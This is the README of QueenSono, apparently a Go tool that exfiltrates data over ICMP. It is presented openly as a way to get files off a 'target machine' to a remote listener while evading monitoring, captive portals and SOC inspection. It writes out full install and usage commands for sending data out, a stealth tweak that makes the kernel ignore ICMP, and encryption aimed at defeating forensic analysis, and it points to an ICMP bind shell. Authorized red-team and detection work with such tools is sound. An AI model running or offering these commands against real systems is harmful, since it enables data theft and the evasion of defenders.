QueenSono ICMP Data Exfiltration

A Golang Package for Data Exfiltration with ICMP protocol.

QueenSono tool only relies on the fact that ICMP protocol isn't monitored. It is quite common. It could also been used within a system with basic ICMP inspection (ie. frequency and content length watcher) or to bypass authentication step with captive portal (used by many public Wi-Fi to authenticate users after connecting to the Wi-Fi e.g Airport Wi-Fi). Try to imitate PyExfil (and others) with the idea that the target machine does not necessary have python installed (so provide a binary could be useful)

Install it · Use it · Notes · Request Feature · 🎁

Install

With curl

> From release

curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

With go

> Via go install

Make sure $GOPATH is in your $PATH before

Install qssender

go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary

Install qsreceiver

go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary

> Install the binary from source

Clone the repo and download the dependencies locally:

git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

To build the ICMP packet sender qssender :

 build.queensono-sender

To build the ICMP packet receiver qsreceiver :

 build.queensono-receiver

Usage

qssender is the binary which will send ICMP packet to the listener , so it is the binary you have to transfer on your target machine.

qsreceiver is the listener on your local machine (or wherever you could receive icmp packet)

All commands and flags of the binaries could be found using --help

Example 1: Send with "ACK" 🔙

> In this example we want to send a big file and look after echo reply to ackowledge the reception of the packets (ACK).

On local machine:

$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt

Explanation

-l 0.0.0.0listen on all interfaces for ICMP packet

-f received_bible.txt save received data in a file

-p show a progress bar of received data

On target machine:

$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt

Explanation

send file for sending file (bible.txt is the file in question)

-d 2 send a packet each 2 seconds

-l 0.0.0.0 the listening address for echo reply

-r 10.0.0.92 the address of my remote machine with qsreceiver listening

-s 50000 the data size I want to send in each packet

Example 2: Send without "ACK" 🙈

> In this example we want to send a message without waiting for echo reply (it could be useful in case the target firewall filters incoming icmp packet)

On local machine:

$ qsreceiver receive truncated 1 -l 0.0.0.0

Explanation

receive truncated 1 does not wait indefinitely if we don't received all the packets. (1 is the delay used with qssender)

for stealthiness you could prevent the kernel to reply to any ICMP pings

echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

On target machine:

$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N

Explanation

-N noreply option (don't wait for echo reply)

Example 3: Send encrypted data 🔒

> In this example we want to send an encrypted message. As the command line could be spied on we use asymmetric encryption (if the key leaks, it isn't an issue so)

On local machine:

$ qsreceiver receive -l 0.0.0.0 --encrypt 
<OUTPUT PUBLIC KEY>

Explanation

--encrypt use encryption exchange. It will generate public/private key. The public one will be used by qssender to encrypt data, the private one is used to decrypt it with receiver

On target machine:

$ export MSG="<your message>"
$ export KEY="<public_key_from_qsreceiver_output>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY

Explanation

--key provide key for data encryption. Use the one provided by the qsreceiver command

About encryption

RSA encrytion is used to keep data exchanged confidential. It could be useful for example to avoid a SoC to see what data is exchanged (or forensic) w/ basic analysis or simply for privacy.

But it comes with a cost. The choice of asymetric encryption is motivated by the fact that the encryption key is entered on the command line (so it could be retieved easily). Hence, we encrypt data with public key. Like this if someone retrieve the encryption key it will not be possible to decrypt the message. But the public key is smaller than the private one, so it encrypt smaller messages. Also, it is computationally expensive.

Another point, as we want to limit data size/ping requests (to avoid detection, bug, etc), use encryption only if needed as the message output-size will (should) always equal the size of the Modulus (part of the key) which is big.

Enhancement

Currently, the whole message is encrypted and then chunked to be sent. On the other side we wait for all the packet (chunks), reconstruct our message and then decrypt it. But it works ⇔ we have received ALL the chunks, otherwise the decryption will fail.

=> We could encrypt each chunk accordingly with the -s parameter, like this we could decrypt them separately.

Bonus

See hack section for fun things with QueenSono:

• Bind shell using ICMP
• HTTP over ICMP tunneling

Notes

• only work on Linux (due to the use of golang net icmp package)
• need cap_net_raw capabilities
• if you actually send ICMP packets on 2 different machines and you wait for echo reply, be sure to use a reachable IP by remote as a listening address (do not use localhost or equivalent)